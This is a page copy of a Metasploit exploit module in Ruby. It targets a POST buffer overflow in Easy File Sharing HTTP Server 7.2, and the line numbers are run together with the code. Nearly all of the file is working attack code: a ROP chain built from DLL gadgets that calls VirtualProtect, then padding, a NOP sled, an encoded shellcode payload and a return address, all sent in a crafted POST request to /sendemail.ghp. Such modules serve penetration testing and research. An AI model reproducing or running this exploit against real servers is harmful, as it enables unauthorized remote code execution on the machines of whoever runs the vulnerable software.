Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/easyfilesharing_post.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9#include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',14'Description' => %q{15This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.16},17'Author' =>18[19'bl4ck h4ck3r', #POC20'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit21],22'License' => MSF_LICENSE,23'References' =>24[25[ 'EDB', '42186' ],26],27'Privileged' => true,28'Payload' =>29{30'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",31},32'Platform' => 'win',33'Targets' =>34[35[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],36],37'DefaultOptions' => {38'RPORT' => 80,39'EXITFUNC' => 'thread',40'ENCODER' => 'x86/alpha_mixed'41},42'DisclosureDate' => '2017-06-12',43'DefaultTarget' => 0))44end4546def create_rop_chain47# rop chain generated with mona.py - www.corelan.be48rop_gadgets = [49# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx500x10015442, # POP EAX # RETN [ImageLoad.dll]510xFFFFFDFE, # -202520x100231d1, # NEG EAX # RETN [ImageLoad.dll]530x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}540x1001a858, # RETN (ROP NOP) [ImageLoad.dll]550x1001a858, # RETN (ROP NOP) [ImageLoad.dll]560x10015442, # POP EAX # RETN [ImageLoad.dll]570x1004de84, # &Writable location [ImageLoad.dll]580x10015442, # POP EAX # RETN [ImageLoad.dll]590x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]600x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]610x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]620x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]630x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]640x100218f9, # POP EBP # RETN [ImageLoad.dll]650x61c24169, # & push esp # ret [sqlite3.dll]660x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]670x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]680x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]690x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]700x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]710x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]720x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]730x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]740x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]750x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]760x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]770x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]780x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]790x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]800x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]810x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]820x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]830x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]840x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]850x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]860x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]870x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]880x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]890x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]900x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]910x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]920x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]930x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]940x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]950x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]960x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]970x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]980x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]990x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1000x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1010x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1020x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1030x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1040x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1050x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1060x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1070x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1080x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1090x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1100x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1110x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1120x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1130x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1140x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1150x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1160x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1170x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1180x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1190x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1200x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1210x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1220x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1230x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1240x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1250x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1260x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1270x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1280x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1290x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1300x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1310x1001bd98, # POP ECX # RETN [ImageLoad.dll]1320x1004de84, # &Writable location [ImageLoad.dll]1330x61c373a4, # POP EDI # RETN [sqlite3.dll]1340x1001a858, # RETN (ROP NOP) [ImageLoad.dll]1350x10015442, # POP EAX # RETN [ImageLoad.dll]1360x90909090, # nop1370x100240c2, # PUSHAD # RETN [ImageLoad.dll]138].flatten.pack('V*')139return rop_gadgets140end141142def exploit143sploit = rand_text_alpha_upper(2278)144rop_chain = create_rop_chain145sploit << rop_chain146sploit << "\x90" * 200147sploit << payload.encoded148sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)149sploit << [target.ret].pack('V')150151request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"152connect153sock.put(request)154handler155disconnect156end157end158159160